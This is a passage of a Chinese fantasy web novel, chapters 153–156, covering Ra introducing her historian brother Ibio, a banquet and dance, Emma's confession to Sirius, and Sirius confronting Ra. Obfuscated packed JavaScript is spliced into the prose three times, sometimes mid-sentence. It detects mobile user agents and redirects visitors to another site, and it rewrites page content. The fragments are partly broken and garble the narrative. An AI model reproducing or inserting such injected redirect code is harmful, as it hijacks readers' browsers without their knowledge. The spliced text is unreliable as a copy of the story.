“哦!”拉发出个很明亮的愉快音调,打了个响指,“暂停!首先呢我现在不想听故事,其次我对艾佩庇里亚的事也没多想了解,但我知道有人喜欢这个!” . . 伊比奥的办公室贴着一座储存古物的库房。 许多古物保存要求温度、湿度与光线,需要特别注意存放方式与养护,维护人员的办公室便紧临着储物库房。 这里穹顶很高,带门的木柜与堆满的书架顶端抵到天花板上。 两侧有巨大的窗户,但房间宽广,窗外透进的光能为整个房间提高的亮度有限。 一进门,霎时感到身边的气温都低了几度。 房间里几张堆满各类工具书卷的长桌,是各位维护人员的工作台,此刻桌边无人,工作间里只有刚进门的伊比奥和艾玛。 吊顶的灯没打开,但白天明亮,伊比奥的办公桌靠近窗边。 他开了桌上的台灯,请艾玛坐一会儿,然后搬梯子去旁边高高的书架上翻找。 除了他自己的笔记,还找出几本可供参考的相关书目。 伊比奥又手里抱了一叠纸本,艾玛想帮他扶一扶,不过看他动作熟练,似乎不用担心,也就坐在原地。 伊比奥从梯子上下来,把书放在桌面,把梯子归回位。 他从桌面拿起副眼镜戴上,翻开书页,正要对艾玛开口。 办公室的门碰一声打开了,重重砸在墙面,震得整个房间里的寂静和灰尘都抖了三抖,伴随一声洪亮的招呼。 “嗨,伊比!” 拉高高举起手在门口招呼,另一手拽着被拖来的西里斯。 伊比奥被这声响惊得眼镜没戴稳,手一滑掉到了桌面。 他在惊诧中看向门口:“拉!吓我一跳,你——” “呀,艾玛也在!”拉松了西里斯,蹦来向艾玛招呼,目光在她和伊比奥间一个来回,“你们已经认识了?还要我介绍吗?” 艾玛和伊比奥重又对视了一眼。 不等他们看回拉,拉已经从这两个眼神里多少明白了情境,于是先对伊比奥介绍:“这是艾玛,阿瓦托芬来的月神女巫。” 伊比奥一愣:“啊!你就是——失礼,原来是月神女巫……” 他说到这里,又卡了一下,似乎一时不知道怎么是对待女巫的态度。 拉揽过他肩膀,伊比奥比她高一截,生生被她拗弯下来:“他原来的全名是菲尼克斯·伊比奥,我的第二个哥哥,现在是日神神殿的历史祭司。” “好了!现在都了解了吧?”拉结束介绍。 伊比奥在庆幸眼镜刚刚掉了,否则这一下会把镜框磕拉脸上。 他对妹妹风风火火的个性显然早就习惯,脸上只有一点疲惫和无奈,并无惊讶和恼意,反而问起:“你怎么突然过来了?” “不着急,倒是你们怎么认识的?”拉抛回了问题。 “搬书的时候偶然遇到艾玛小姐,她说对艾佩庇里亚的历史感兴趣。我这边正好有些相关的资料,就想说借给她看看。然后你就来了。” 伊比奥简要道,又有点回过神,对着艾玛稍微带些茫然的惊慌,“但我不知道她是月神女巫……还以为是刚入职的职员。” 旁听的西里斯想,不知道对面是月神女巫,就敢把陌生人往藏资料的地方带,心也是挺大的。 伊比奥看艾玛的眼神突然有些紧张和期待。 他措辞了一下,便很认真地问:“艾玛小姐,那个……抱歉,刚见面就这么问可能很失礼。但是,请问,你们神殿那边,缺历史祭司吗?” 艾玛茫然。 “啊……如您所见,我,”伊比奥移开了视线,“很不擅长社交。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764461|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“嗯。”艾玛想,也没有“很”。 “虽然,日神神殿这边的历史部门,也已经比较安静……但是,赫克米洛斯还是太……热闹了。这不是坏事,只是我更喜欢不需要太多社交的环境。 “我听说,阿瓦托芬那边很符合我的需求。”伊比奥诚恳地说,“其实我之前向月神神殿投过求职信,被拒绝了。” “哦。”艾玛想,可以理解。 伊比奥很为难地解释:“我是和平脱离家族,没有后续政治风险。日神神殿这边,拉也不会追究……” 拉捏住他下巴,从下巴往上伸手捏伊比奥的脸:“谁说的,怎么当着我的面跟人家聊起跳槽的事了!” 伊比奥的声音被她捏得含糊不清:“没关系吧……你也不介意……” 拉灵光一闪,正色道:“如果伊比去了你们那边,我就有合理正当理由经常拜访月神神殿了吧?” “嗯。我想就是有这种考虑,那边才没同意的。”艾玛回答。 拉叹口气:“可惜!嗯?我看看,伊比,你脸色是不是变差了?我跟你说多出门多晒太阳的吧!” 伊比奥心虚地移开目光:“只是几天没怎么晒太阳,脸色不会变化那么大……” 艾玛看了看他们,对拉说:“伊比奥先生眼睛的颜色跟你很像,但他的发色?” “哦,”拉拍了拍哥哥的脑袋,“他染的。伊比觉得金发太醒目,到赫克米洛斯之后就染了黑发。用的很——难洗的染料,我可不敢用,需要的时候洗不掉多麻烦。” 艾玛说:“你们关系很好呢。” 拉挑起伊比奥头顶的黑发,发根有一点金色:“我们家关系都挺不错的,决定为了自己的目的离开家族的时候,家里人也都没拦着。” “我还好说。”伊比奥拨开她玩自己头发的手,无奈道,“上面还有个哥哥,拉又自小就出色。我显然不是搞政治管理的那块料,也躲了相应的责任,去哪里都无所谓。 “但没想到拉是日神的女巫。比起继承家族和城邦,她更想到神殿来。 “小时候大哥看见拉才能过人,兴高采烈,以为他将来可以顺自己的爱好去当厨师。结果最后拉要来神殿,我又完全当不起执政官的职责,还是只有他能接这个位置。” 不知道的以为贝努城邦的执政官位置是多大的烫手山芋,知道的也只能感慨菲尼克斯家太自由了。 “倒也不用把波利说得很委屈,他那执政官当得蛮好,也没落下他的爱好。贝努现在的美食节比从前还要隆重,不是他偏心也办不成这样。”拉撇嘴不以为然,“再说,是你自己觉得自己‘不行’。 “你其实比我和波利都要仔细耐心,也完全有交际管理的本事,就是不知道为什么总缺乏信心。好奇怪啊,我们家明明都很外向。” 物极必反了。西里斯想。 拉又拍拍伊比奥肩膀:“不过不勉强,能专注在自己热爱的事上也是才能。所以,说回来,我觉得你会有兴趣认识这个人。” 拉指向西里斯,对伊比奥说:“总之因为一些很复杂的原因,这个人实际应该有个一两百岁,虽然看不出来。 “他在艾佩庇里亚生活过,有那段历史的第一手资料。好!你们聊吧。” 她把伊比奥往前一推,自己往后一退,坐到办公桌面,跟旁边的艾玛聊起来。 西里斯一阵语噎,看到伊比奥刚刚消化了拉话里的含义。 虽然内容有些离奇,但他对妹妹的话毫无怀疑,看着西里斯的目光缓慢地亮了起来。 “那个……请问,您……”伊比奥开口时很郑重和谨慎。 “……叫我西里斯就好。”他说。 154.学者 拉偏过身子,脸贴到艾玛头上,声音沉淀在前方对话的音量下:“伊比还不错吧。他的社交能力可没他自己说得那么差。” 艾玛点头。 伊比奥虽然看起来内向,但语言沟通和措辞能力都不差,表述内容清晰准确,可以和陌生人顺利构建对话,真正不善交际的人并不具备这些特质。 伊比奥或许没有意识到,他虽然性格偏内敛,但他对自己的评价是建立在和自己家人的对比上的。跟他极端开朗的家人们相比,谁都很内向。 而习惯了家人们行事风格的他,在别人眼里也当之无愧是个“菲尼克斯”。 所以,他不适合阿瓦托芬。 艾玛想,日神神殿对他应该就挺不错的。 “‘伊比’是昵称吗?”艾玛问。 “是哦,很多地方有这样的习俗,从名字里拿出前两个音节来当昵称。名字音节本来就短的可取可不取。 “比如你跟我的名字,已经够短了,要取昵称的话,反而是往名字后面加音节……还是算了,‘艾玛’就很好听。”拉想一想,如此结论,抓着艾玛的手晃晃,“我大哥叫‘波利亚’,比较短的音节叫起来响亮,叫哥也挺方便。 “但家里两个哥哥,这么叫容易叫错人,就叫昵称了。” “你们家氛围很好呢。” “贝努其实很好玩哦,我很喜欢那里,只可惜我出生在那,太早了解透了它,它又实在太小了,也不具有赫克米洛斯的可能性。”拉往艾玛身上靠了靠,“下次有机会,我带你去转转吧。 “比如刚刚提过的美食节,或者其他,那里节日很多。不过比起赫克米洛斯,贝努太热了!还是挑挑季节再去吧。” “好啊。”艾玛回答。 拉进来时没关上办公室的门,房门敞开着。 有人走到门口,看了看门内的热闹,又看了看大门,抬手在门板上敲了两下。 西里斯有点心不在焉,伊比奥听到声音下意识移过视线,发现来的不是同事:“是梅努……” 拉吹了声口哨。 梅努从门口走进来,路过时看了看伊比奥,又扫了西里斯一眼,径直走到拉旁边。 “好了。”她对拉比了个“完成”的手势。 “好!”拉跟她一击掌,从桌上跳下来,牵起艾玛蹦了两步,“艾玛,我们去开宴会吧!” “宴会?”艾玛问。 “你来到赫克米洛斯,我们还没正式欢迎过你呢!”拉愉快地说,回身拎起伊比奥的领口就往门边走,“伊比你也来,该活动活动了!” “诶?为什么我也……”伊比奥有一丝想要挣扎的心情,但他从未有拗过拉的经验。 此时自然产生的第一反应是抓住了西里斯的手臂,不想让谈话结束,“那、那个——西里斯先生,您也一起来吧!” 这人哪里内向了?西里斯不禁想。 他实在是不想掺和更多麻烦事。 拉所在之处,她就是一切的中心,跟着她就会按她的节奏被牵着走。 虽然有想要跟日神女巫谈论的问题,但时机不合适,不如下次换个场合再说。 西里斯站着不动,连带抓着他的伊比奥和扯着伊比奥的拉都停下了。 拉回头看过来。 拒绝的话就在嘴边,西里斯还是姑且想说得客气些。 “一起来吗?” 嘴边的话停住了。 西里斯看过去,艾玛正望着他,对他笑了一下。 “我……”刚想好的拒绝对艾玛并不适用。西里斯不擅长拒绝她。 他垂下目光,另一只手落到伊比奥抓着他的手上:“……请松开。我自己跟得上。” “啊,抱歉,下意识……”伊比奥反应过来,迅速尴尬地把手松了,转头又递给拉一样的话,“拉,我跟得上,你也松手吧。” “不要。你走太慢了。”拉说。 “可是这个姿势我脖子好累。” “那是你坐着不动太久了。” 梅努颇认同地点头,用批判的眼光看着伊比奥。 拉实际行动上听取了意见,转手抓住了伊比奥的衣襟。 伊比奥默默掰开她的手,作为替换把自己的手腕塞进去,拉好歹接受了。 好想当做不认识他们。 西里斯有一会儿想反悔,梅努停下来,奇怪地向这个说了要走又没跟上的人晃晃耳朵。 被拉牵着往前走的艾玛在走动里回过头来,带笑的目光盈盈流动到他身上,让西里斯心里僵硬的结松动了一下。 他叹了口气,还是跟上了。 . . 拉提前跟梅努商量了宴会需要准备的事项,自己去处理了其他工作,梅努在此期间和神殿的同事一起准备了场地和食物。 宴会在露天举办,选了神殿中一片空地。 没有提前宣传和招呼,路过的人看见筹备也不以为奇。各类即兴庆祝活动是赫克米洛斯的寻常事。 还有空闲的人加入进来搭把手,有人计划着忙完手上的事过来,希望到时宴会还没结束。 场地中央架着木柴堆,拉赶到时此处还冷清。 她从桌上倒一满杯麦酒,对着场地里的工作人员高高举起,感谢所有人的劳动,然后宣布宴会开始! 她把手里的酒往木柴堆上一泼,柴堆上腾地燃起熊熊火焰,人们大声鼓掌叫好。 场地很快热闹起来,人也越来越多。 说是欢迎艾玛来到这里,拉却没做什么宣讲强调,而日神神殿的人早就习惯女巫的心血来潮。 她有时心情好就会办宴会,问了也得不到什么特别的理由。 本该有些事前申请报备,但这是女巫举办的宴会,所有人也就放松地不计较了。 无所不能的女巫在这里,能有什么事呢? 篝火晚会大多举行在夜晚,拉点起柴堆时却还是下午,明亮的日光下火光也热烈。 赫克米洛斯的白天长,日神信徒们日出而作,日落而息,普遍睡眠时间早,宴会大都不会办到太晚。在这里从下午开始举办宴会是正常时间。 地上铺了许多毯子给人们当坐席,堆着食材的桌边有几个烧烤架,擅长烹饪的魔法师熟练而迅速地烤完了一批又一批食物。 中午没吃什么东西,伊比奥到场后自然地融入了环境,远离了妹妹,走到桌边开始觅食。 西里斯拿了杯水,就坐去了毯子上。 伊比奥以为他是为了先去占好位置才放弃拿吃的,于是自己匆匆一吃后又拿了一盘食物过去给他,被西里斯以吃过了不饿为借口婉拒,便遗憾兼尴尬地坐到他旁边,不浪费地嚼嚼嚼起来。 伊比奥多少顾虑了下当着客人的面这么进食是否失礼,但想到他也不是还在贝努城邦时的贵族,赫克米洛斯风气向来如此,便放松地手抓食物起来。 虽然想跟西里斯谈话,但总不能一边吃一边说,就先专心地嚼嚼嚼。 他不说话倒清净。西里斯正在看拉那边,艾玛在和她说话。 拉当然是宴会的主角。 许多人有意无意看向她,但除去跟拉原本熟识的,甚至没什么人去打招呼。 有没话找话的只说一句就被拉无视,识趣的就在周围目光里离开了。 平时拉如果有兴致,没准会跟看着顺眼的聊上几句,但今天她注意力显然在艾玛身上。 拉有什么喜欢的事物时,往往目空其他的一切,只专注于自己感兴趣的目标,对其他都不关心。 而神殿的人看起来也都驯熟她这脾气,无人表达疑义。 这实际没有看起来那么容易。这种被塑造的默认和听话,正证明拉对于此地绝对的统治力。 她是日神神殿的规则,她是赫克米洛斯的中心。 西里斯远远看着那边,并听不清声音,只能大概判断拉在向艾玛介绍食物,有时顺手介绍两个熟悉的同事,再或许讲些好玩的话题。 也不知道那话有哪里好笑,但艾玛有时会笑得弯弯眼睛。 伊比奥还没判断清西里斯和艾玛的关系,但他有丰富的在信息情况不明时和人展开良好交谈的经验。 “您也是从月神神殿来的吗?”伊比奥先提问确认基础信息。 “大致上算是。我不是神殿的人,只是路过。”西里斯回答,“还有,不用敬语。” 西里斯的外形和说话方式上并没有强烈的年龄特质,伊比奥犹豫一下:“但您比我年长很多,也知道很多我不了解的事。对于知识丰富的长者,学习的后来人礼节应尽。” “客套的礼节尽是没用的东西,我已经觉得烦了。如果你只是想跟我讨论学术问题,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768523|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种增加沟通损耗的语汇更不必要。我不喜欢。” 西里斯没表情地说,目光落到伊比奥身上,“倒是你很轻易就相信了我的来历和年纪,为什么完全不怀疑?她可能只是在开玩笑。” 伊比奥摇头:“拉不会开这种玩笑。虽然听起来有点离奇……但这个世界本身就存在着无数可能性。 “历史是存在过的事实,比起因为超出自己的想象范畴就去直接否定它,不如先倾听它。学者应有尊重客观的谦卑。 “既然你……不喜欢敬语,那我就不说了。 “这是个人喜好和选择的差别,你明确表达了自己的喜恶,我会尊重你的意愿。” “你倒确实很适合当学者。”西里斯打量他,“知识往往令人自大,而越自大,所能从学习中获得的新事物就越稀少,视野也变得狭窄,所以傲慢的人浅薄。 “保持谦虚很难得……但愿你一直有这样的谦虚就是了。” 伊比奥莫名有点紧张地摸了摸脑袋:“我还远远没到能有什么傲慢资本的地步呢……历史也只是出于兴趣自学的,只是因为喜欢很有热情,了解的东西多一些罢了……” 西里斯说:“补充一句,过度的谦虚也是傲慢的一种。” 伊比奥愣一下:“啊……拉也说过一样的话。” 他思考一会儿,皱着眉,认真地说:“但我确实觉得自己所懂得的远远不足,这种谦虚不是为了变相地炫耀。 “比如说,今天的我比昨天的我多学到了一些知识,那么昨天的我相较于今天的我在客观上更无知。 “我可以学习的东西是无法穷尽的,而人的寿命和能力都有尽头,那么在有限的范围之内,我也永远无知且不足够。 “我大概能够了解,我对自己的评价基于自己内在价值标准和追求的程度,但这种评价放到外界,会显得不够‘客观’。 “因为不同的人拥有不同的生活经历,从经历基础中诞生出不同的评价标准。评价标准既然不同,会得到的结论当然不一样。 “从这个角度来说,这样的评价结论实际是‘主观’的。 “我知道比起很多人,我或许更具有‘才能’……甚至专注和热情也是才能的一种。我也知道我比更多人更‘幸运’。 “我有很好的出身,非常好的家人,比常人有更多学习的机会和选择的自由。 “所以我表达出来的谦虚,即使发自真心,对没有这份幸运的人来说,也可能是一种虚伪的炫耀。 “但我没有办法改变所有人的看法,不能一个一个向他们解释我并无此意——即使解释了也未必有效。 “成见很难撼动,毕竟人对于事物的看法建立在自身的过往经历之上,而我无力改变他们的过往。 “再想一想……我也不需要那么多人的理解和认同。 “我的家人,我的朋友,我重要的人,他们能接受我,对我来说就足够了。更多人其实和我无关,我们彼此都是生命里的过客。 “但是,即使是过客,至少,我也希望尽可能不让对方有一段不愉快的‘擦肩而过’……我深信自己的无知,这是我最真实的想法,我不想否认它。 “所以,如果我的谦虚在他人眼里可能是一种傲慢,我会尽量克制表达这一点。” 伊比奥握拳:“也就是,尽可能减少和他人的交流。” 西里斯说:“前面听起来挺不错的,最后怎么得到这种结论?” 伊比奥像敲锤一样挥一下拳,严肃地说:“认真思考之后,我觉得这样是最适合我的。” “说了这么多,听得出是你的思考纠结历程,看来是真的想过这么多。” “人有时候就是会控制不住自己的大脑,因为感到困扰,不知不觉就想了很多……” 伊比奥苍白地划一下手,“我本不应和您……和你说那么多,但是,我想要向你请教很多事,所以还是很在乎你的看法,也不希望被你误解…… “说得可能过于繁琐,但我的思考方式一直是这样,试图完整地表述出来就用了很多话,抱歉……” “我确实不讨厌谦虚的学者。”西里斯说,“关于艾佩庇里亚的事情,我可以告诉你。 “但我首先想要知道,你只是想要满足自己的好奇心,还是会记录下所有听到的事,把那些话当资料传下去?” 155.宴会 伊比奥认真思考后,答复:“我认为历史研究的意义在于留下真实的记录,被更多人所看见和了解。 “我必须诚实地告诉你,我会把它们记录下来。但是我不会盲目相信你说的内容……我并不是怀疑你,而是个人的认知与记忆跟现实有偏差很寻常。 “我会以你提供的信息为根据,去寻找事实支撑来查证。 “但这很浅显的道理,我还是明白的。 “那个时代对于我来说是‘历史’,是故事,对你而言却是切身经历。 “有些隐私是否要留下记录,需要尊重当事人的意愿。你不愿意讲的部分,我不会过问。” “即使这可能是你唯一了解这段历史的机会,你宁愿错过?”西里斯问。 “虽然会觉得很可惜……但学习历史,是为了现在的人能更好地生活。” 伊比奥理所当然地说,“你是我眼前活生生的人,哪边更值得在乎,这是显而易见的事。” 西里斯沉默片刻:“因为知道你说的是真心话,反而觉得有点烦人。” “诶,是吗,抱歉?” 西里斯移开目光,淡淡说:“我了解了。作为对你诚实的回应,我会尽量告诉你我复述得出来的部分,像是风俗人情之类的实际细节,想记录想查证都随你,但其他就没什么可说的了。” “真的吗?这样就帮大忙了!”伊比奥亮起眼睛,“我想了解的也就是这些部分,其他如果涉及你的隐私,不说也是当然的。 “艾佩庇里亚灭亡的谜团虽然很令人好奇,但普通人也不可能了解这么大的事是怎么发生的嘛。” 西里斯顿一下,向他斜过目光:“你以为我为什么能活这么久?” 伊比奥愣一下:“艾佩庇里亚当年虽然一夜灭亡,大量国民不知所踪,但也有许多幸存者,只是他们也不知道发生了什么。不少幸存者自那之后精神失常,罹患癔症…… “艾佩庇里亚的黄金时代,魔法的奇迹结晶数不胜数,许多珍奇宝藏失去了看守者,四处流落……其中说不定有能延长人性命的魔法石或者药物,我想也不奇怪吧。” “倒也说得通。”西里斯道,“会这么想也不奇怪。” 伊比奥遗憾道:“不对吗……我还觉得这个猜想很像冒险故事,放在现实果然太离奇了吧?” “现实只会更离奇。” “啊哈哈,但我的想象力还是不够,也只能猜到这了。” 西里斯已经转回目光看艾玛和拉那边了。 伊比奥注意到他的视线,随口问:“你和月神女巫殿下是朋友?” 西里斯动了下眉毛:“看起来是这样?” “诶,也不对吗?”不是因为认识月神女巫,她带朋友来日神神殿谈问题,解决什么麻烦这样的情况吗? 伊比奥理所当然脑内补全的猜想突然被当事人打了问号,大感震撼。 “不……很久没被人给过这么正常的评价了,反而有点意外。”西里斯说,“你就当是这样吧。” 伊比奥对他人人际关系的理解和经验总结就是:搞不懂的不要深究,迅速远离,避开所有相关话题。如果对方主动提起,就模棱两可打哈哈圆掉。 这一情境立刻打开了他的防卫模式,伊比奥毅然决然,转移了话题:“我去给你拿杯水吧。” 西里斯想说他有水,只是放在旁边地上了。 但是伊比奥已经坚决地起身走开了,他也懒得叫住他。 餐桌边拉停下了比划,对艾玛说:“我们来跳舞吧!” 艾玛说:“我不太熟悉你们这边的舞蹈。” “那我先跟梅努跳给你看!”拉向旁边的梅努招手,刚刚还端着一叠食物嚼嚼嚼的梅努很快放下餐盘,把手向她伸过来。 拉牵着梅努的手走进场地内圈,向艾玛眨了下眼睛。 篝火周围一圈场地空旷,就是留给来宾跳舞的。看到日神女巫跃进了舞池,宾客中响起一圈掌声和叫好。 拉向乐队比了个手势,刚刚轻快的音乐热烈激昂起来。 梅努体态颀长,动作协调灵活,看她跳舞会让人觉得这仿佛是件很轻松的事,许多围观的人看得跃跃欲试。 她和拉显然跳过很多次,两人的舞步娴熟默契。 主导舞步节奏的人是拉,即使在舞蹈中,她的气场与掌控感仍然鲜明强烈。 舞曲到中途,场内交换舞伴,拉松开梅努的手,绕着舞池一圈,和每一个临时舞伴擦肩,那一圈划了一大半,她在曲目中拍一拍手,突然切出了舞池,径直走到正微笑着哼节拍的艾玛面前。 “来吧,艾玛!” 艾玛握住了她伸来的手。 拉笑起来,牵着她的手倒退两步,转身往舞池里跑。 她们面对面刚一站定,艾玛也自然地执起拉的手:“跳不好也没办法哦。” “不会跳不好的!”拉大笑,往前倾一倾,额头抵上艾玛额头,笑声里落进她肩膀。 艾玛顺着她动作侧身,将拉摇摇倾斜的身体化作舞步的一部分,揽过她的腰。 交换舞伴结束后,每一组搭档都归位。梅努走出舞池,站在边上拍手。 很快所有人都被她们吸引了目光。 拉和艾玛的舞步很奇特,时急时缓,却踩得上每一个节拍,又不互相妨碍。时而如暴雨,时而如晴夜,时而如焰火雀跃。 但没人看得出她们到底在跳哪里的舞,常理中男步女步的职责也交替轮换,过渡得极其自然。 如果说是即兴发挥,她们又配合得太巧妙,一个眼神一个动作就能读出对方的意思,仿佛生来如此默契。 梅努和拉的舞蹈会勾起人和她们一起跳的欲望,拉和艾玛的舞蹈却会让看到的人停下动作,屏住呼吸,只顾得上欣赏。 艾玛跳着跳着不禁笑,拉比她笑得更厉害,几乎撑不住动作的稳定,靠进艾玛臂弯里。 艾玛也不为难,顺着拉的动作揽着她转圈,仿佛此处设计的舞步本就是这一段。 西里斯看着舞池中的艾玛。 篝火的亮光映在她金色的眼睛里,跳动着,放松又喜悦。 她看起来很高兴。 他似乎很久没见过艾玛这么高兴了。 西里斯慢慢柔和下了目光。 暂时地,他想,来到日神神殿似乎是件还不错的事。 伊比奥回到了他身边的位置,自然注意到舞池中耀眼的两人,于是没说话,同样看着她们的舞。看着看着眼神也柔软下来,不禁说:“拉看起来很高兴。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776397|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 半支曲子结束后,她们又接着跳了两首。 两首音乐结束,艾玛站住了脚步,大约是表达自己想休息了。 拉点头,却仍然心情高昂,视线一转,定在了伊比奥身上。 不等那种不妙的预感让他有所猜测和准备,拉已经大步流星到他面前来,一把抓起他的手:“伊比,来跳舞!” 伊比奥倒吸一口凉气,声音微弱:“我不擅长……等一下,好多人在看啊!我不……” 抗议没什么效果,下一支曲子快开始了,跟着拉过来的艾玛侧身给她让路,拉当即把伊比奥拖走拉入了舞池。 伊比奥认命了,但视线完全放在拉身上,不敢偏移一分,仿佛不去看周围有其他人就可以当他们不存在。 拉拍拍他的腰背示意他放松。 目送他们离开后,艾玛转过目光,指指他身边的空位,微笑着对西里斯说:“我可以坐这里吗?” “当然。”西里斯答。 艾玛走到他旁边坐下。 刚刚跳过舞,似乎她身边的温度都升高了两分。 舞步很激烈,但她没流什么汗,只是面颊上带点浅浅的红色,将碎发别到耳后时,西里斯能清楚看见。 “你觉得跳的怎么样?”艾玛问。 “很不错。”西里斯说。 艾玛笑着道:“虽然不熟练……但是,跳舞好像还挺有意思的。这样活动过之后,心情也放松了。” “你看起来很高兴。”西里斯笑笑,“适当活动一下是不错。” 艾玛向他眨一眨眼:“西里斯要不要跟我一起跳?” “我就不了吧。” 艾玛的头发在跳舞时有点乱了,扎住长发的发卡也已经偏移。 这里没有镜子,她自己看不见。 西里斯伸手,指尖划过她发丝,拿下她的发卡,帮艾玛整理头发。 艾玛愣了一下,没有说话,也没有动,只是安静地看着他。 散乱的头发不一会儿就整理好了。 西里斯回过视线,发现艾玛正在看他:“怎么了?” “我只是,在想……” 艾玛倾过身,西里斯下意识后仰了身体避开。 倾斜的角度定住了,保持在一个接近却不彼此触碰的位置。 艾玛说:“我在想,我真的很喜欢西里斯。” 西里斯一时不知道该反应什么。 艾玛很久没有这样郑重其事地向他再强调这一点,让他心里那个略略松了松的结又紧绷起来,僵硬从精神蔓延到身体上。 “艾玛……” “我很喜欢你,”艾玛仍然认真地,一字一句地说,“也希望你能够喜欢我。” “艾玛。”西里斯声音里的温度变低了,含有叫停的意思。 但这次艾玛依然看着他的眼睛。 金色的双眼很亮,西里斯感到刺痛。 她的目光稳定地,执着地锁在他身上,几乎令他窒息。 “我答应过你,我会解开你的诅咒。这是我们的约定,我一定会实现。” 极近的距离下,呼吸仿佛是落在西里斯唇上,艾玛向上望着他的眼睛: “但是,在这个愿望实现之后,可以请你为了我活下去吗?” 156.重逢 西里斯的心情很差。 他也不吝于表露出这份糟糕的情绪,此刻任何人在他面前都能觉察。 远隔数米处正在和拉谈论的天象司职员时不时不安地向他投去视线。 拉摆摆手让他们安心:“来找我的。” 这里是一处连廊,穹顶的弧度平缓,高高地悬在上方。 窗户占着半面墙壁,上午的日光照进来,能将通道映得很明亮。 过道间立着几根朴素的石柱,石料崭新,未事雕刻。 天象司的人便是为此来和拉商议。 这里连着主殿和文礼司,近处有个供神殿内信徒告祷的房间,再往前走就能看见。 他们提议在此处的石柱上做些有日神象征的雕刻,在告解室里再造一座神像,但关于神像的外形必须参考女巫的意见。 拉赞同给石柱做些雕刻,否掉了几个过于繁琐的方案,从设计里挑了三两个顺眼的。 至于神像,神殿历来对此有许多能与不能的标准,早已有了样本常规。 但女巫在位时,殿内每一座神像的建造都要经过她的首肯才能施行。 拉显然也熟稔,过目了雕像的设计稿便应下了,这样算是过了女巫这关,后续的神像建造交由文礼司监管。 她还有闲情在稿件细节上跟天象司的设计师聊两句,设计师却已然因为另一边瘆人的视线魂不守舍,紧张中不知如何应答。 拉挥挥手让他们离场,给她和客人一个单独空间。 窸窸窣窣的响动在人群离开后远去了,留下廊内空空荡荡,呼吸和光线一起漂浮着。 “我看了阿嘉蒂辛的日记。”拉的声音从空旷处响起来,“她提过你,‘红发的塞利法斯’。” “那我省掉了很多解释。”西里斯说。 “脸色看起来真差啊,跟艾玛聊得不愉快吗?”拉扬了扬眉毛。 西里斯没有表情地说:“她不想杀死我。” “当然,她喜欢你。” “我回应不了她的感情,花更大的代价解开诅咒毫无意义。我的愿望从来只有一个。” “那么,时隔一百七十年,你又为同样的理由来到了这里。”拉慢慢地叹息,望向西里斯的目光里却饶有兴趣,“真奇妙的心情。我不是阿嘉蒂辛,看见你时却感到怀念。” “她比你稳重。”西里斯说。 “也比我年长。当然,即使同样是日神的女巫,我们也并不相同。”拉说,“阿嘉蒂辛早已逝去,重新成为‘我们’中之一。作为人类的她不等同于作为人类的我,但我们有着相同的来源和本质。 “界线是流动的,相似处,我们的差别并不分明。所以你觉得我跟她相似正常,觉得我跟她不同也正常。” “女巫间的魔力差别很大吗?”西里斯问。 “不同的神明本源不同,本源能供给的魔力也不同。譬如说,即使日神不愿意承认,但海神比我们强,日神和月神差别不大。 “同一位神明的女巫之间,魔力差别主要取决于个人意志,跟魔法师强大的根据一个道理。 “最后如果要比拼上限,才会算到天生这副躯壳的承受力上。像是我有神兽的血脉,而艾玛是纯粹的人类,我的上限比她要高。 “但海里的族类就是另一套根据了。他们的寿命、体质、魔力形式与我们截然不同。” 拉说:“女巫在成熟之后,都不会轻易死去。就算受到常人难以想象的重伤,躯体崩毁,我们也都能复原。最多伤得太重时,即使逆转回来也会伤到躯体的根基,简单说就是折寿。 “女巫的寿数诞生时就写定在命运中,大多由躯体种族决定,制造女巫的逻辑不允许我们作为个体的永生,所以我们会老去,预见不了自己准确的终点,但仍然能摸索到它的边界和存在。” “如果我的猜测正确,那个诅咒了你的海神女巫,死去时寿数远远未尽。” 拉偏过头思索,“‘命运’中许多个重要的节点,只有它关联的前置因素产生足够多重大的变化,才会导出节点的改变。 “所以不是命运无法撼动,而是那些时时刻刻变化着的微小命运没有累积到足够质变的分量。 “但一个女巫提前死去了,她的命运偏移,错误随之发生。 “如今你的命运与女巫的命运重叠,无法再被观测。 “本质上的区别让你不可能成为真正的女巫,但你确实具有她的部分视野,你的认知会影响他人对你的认知。” 拉说,“但可惜,你对自身边界的定义太分明了。我就不会那么定义自己。 “我是太阳,太阳也是我。 “我是日神的一部分,日神也是我。 “我是我们,最终仍然是我。” “‘女巫对于自己的定义会影响自身的存在形式’。”西里斯说,“你对自己的定义更清晰,意志更坚决,也确实比现在的艾玛更强。” “那么,”西里斯望着她,“你比现在的她更具有杀死我的可能性。” . 红线划开轻松的空气,切进苍白的石柱,拉闪身避开,大笑起来:“不装了吗!” 石柱被切分碎裂,不均匀地砸落在地面,裂成更细小的碎块。 